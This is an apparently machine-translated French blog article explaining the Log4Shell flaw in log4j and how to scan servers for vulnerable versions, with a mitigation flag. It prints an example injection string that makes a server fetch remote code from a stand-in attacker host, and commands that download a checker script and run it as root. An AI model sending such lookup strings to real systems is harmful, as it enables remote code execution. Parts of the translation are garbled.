Comment vérifier si votre serveur est vulnérable à l’exploit Java log4j (Log4Shell)

Un exploit critique dans la bibliothèque Java répandue a été trouvé, perturbant une grande partie d’Internet alors que les administrateurs de serveur se démènent pour le réparer. Le composant vulnérable, log4j, est utilisé partout en tant que bibliothèque incluse, vous devrez donc vérifier vos serveurs et vous assurer qu’ils sont mis à jour.

Comment fonctionne cet exploit ?

En ce qui concerne les exploits, l’  log4j  ulnérabilité est de loin l’une des pires de ces dernières années, marquant un rare 10/10 sur l’ échelle CVSS , et va hanter tout Internet pendant de nombreuses années à venir.

Le pire, c’est que ce log4j n’est pas une application, c’est une bibliothèque open source utilisée par de nombreuses autres applications. Vous ne l’avez peut-être pas installé directement ; il peut être inclus dans d’autres .jar fichiers ou installé par d’autres applications en tant que dépendance.

Essentiellement, il permet aux attaquants d’envoyer du texte à votre application, et s’il l’enregistre quelque part (par exemple, l’enregistrement d’une chaîne d’agent contrôlée par l’utilisateur sur un serveur Web), votre serveur exécutera un code malveillant. Le format du texte ressemble à l’exemple suivant : une chaîne extrêmement simple contenant un lien vers une adresse distante.

${jndi:ldap://attacker.com/a}

Le composant vulnérable log4j est le  Java Naming and Directory Interface , qui permet au cadre de l’ exploitation forestière à faire des demandes à distance. Sauf qu’il désérialise également le fichier à ce point de terminaison et est capable de charger des .class fichiers contenant du code distant. Ce qui est mauvais.

Suis-je vulnérable ?

L’exploit a été rapidement corrigé dans log4jla dernière version de , 2.16.0 , mais le problème n’est pas de le résoudre, il s’agit de savoir où vous en avez besoin. Puisqu’il log4j s’agit d’une dépendance intégrée, il peut être non trivial de rechercher la version spécifique de celle-ci sur votre système. Et, puisque Java est si populaire, de nombreux outils et composants tiers peuvent l’utiliser, de sorte que vous ne savez peut-être même  pas si vous exécutez un logiciel Java sur vos machines.PUBLICITÉ

READ  Comment activer ou désactiver la protection du système pour un lecteur sous Windows 11 ?

Même si vous pensez que vous n’êtes pas vulnérable, vous devez probablement encore vérifier . Cet exploit affecte tellement de systèmes qu’il y a de fortes chances que vous exécutiez log4j ou Java sans vous en rendre compte.

Heureusement, les versions JDK supérieures à  6u211,  7u201,  8u191, et  11.0.1 ne sont pas affectées par le vecteur d’attaque principal (utilisant LDAP) qui est actuellement le plus exploité. Vous devez quand même le patcher, car il peut également être facilement utilisé avec d’autres vecteurs d’attaque . De plus, le simple fait de faire une demande à un point de terminaison peut révéler des données sur les machines de votre réseau, ce qui n’est pas une bonne chose non plus.

Cet exploit met en évidence pourquoi il est important de conserver une nomenclature logicielle (SBOM), essentiellement une liste de tous les logiciels sur vos systèmes, d’où ils viennent et de quoi ils sont faits. À l’avenir, cette connaissance peut vous aider à corriger rapidement des attaques comme celle-ci.

À l’heure actuelle, vous êtes probablement simplement préoccupé par la mise à jour de votre réseau. Pour ce faire, vous devrez analyser vos systèmes pour trouver les log4j versions utilisées par votre logiciel et dresser une liste de tous les composants vulnérables.

Comment analyser votre système et vérifier les versions de log4j

De nombreuses personnes ont déjà créé des scripts pour analyser automatiquement les systèmes à la recherche d’installations vulnérables, comme celui-ci écrit en Python , et celui-ci de la société de sécurité LunaSec . L’un des plus simples à utiliser est ce simple script bash , qui peut analyser vos packages et identifier les log4j versions, et peut également vous dire si votre système utilise même Java en premier lieu. Dans la plupart des cas, vous souhaiterez exécuter plusieurs analyses avec différents scripts, car il n’est pas garanti que l’un d’entre eux soit efficace à 100% pour identifier chaque système vulnérable.PUBLICITÉ

READ  Qu’est-ce qu’une attaque informatique » cyberattaque »

Vous pouvez le télécharger et l’exécuter avec quelques commandes. Cela doit être exécuté en tant que root pour analyser l’ensemble de votre système, alors bien sûr, faites attention aux scripts que vous exécutez avec les privilèges root sur Internet. Cela aussi est une exécution de code arbitraire.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Les résultats de ce script mettent en évidence exactement ce qui rend cette  log4j vulnérabilité si terrible – l’exécution de cela sur mon serveur personnel a révélé que j’étais vulnérable à l’exploit, quelques jours après le jour zéro, même si je pensais que Java n’était pas installé sur cette machine parce que je ‘ Je n’exécute aucun de mes propres logiciels Java.

Elasticsearch s’exécute en arrière-plan sur cette machine, qui est écrite en Java. Je n’ai pas eu à installer Java manuellement pour installer Elasticsearch ; il inclut une version groupée d’OpenJDK. Il inclut log4j dans cette installation et est vulnérable à l’exploit.

Le correctif, pour Elasticsearch au moins, met à jour tous les packages et suit leurs guides d’atténuation. Ce sera probablement le cas pour n’importe quel logiciel que vous exécutez ; vous devrez mettre à jour log4j directement, mettre à jour le logiciel en le regroupant ou le corriger avec les meilleures pratiques d’atténuation utilisées par d’autres personnes.

Si vous ne pouvez pas corriger le fichier jar pour une raison quelconque, vous pouvez utiliser cet indicateur JVM pour atténuer le problème, qui indique simplement log4jde ne jamais effectuer de recherche lors du formatage des messages. Cependant, ce n’est pas recommandé et vous devriez essayer d’ log4j installer 2.16.0 partout où vous le pouvez pour résoudre complètement le problème.

-Dlog4j2.formatMsgNoLookups=true
5/5 - (1 vote)

Mises à jour de la newsletter

Saisissez votre adresse e-mail ci-dessous pour vous abonner à notre newsletter

Laisser un commentaire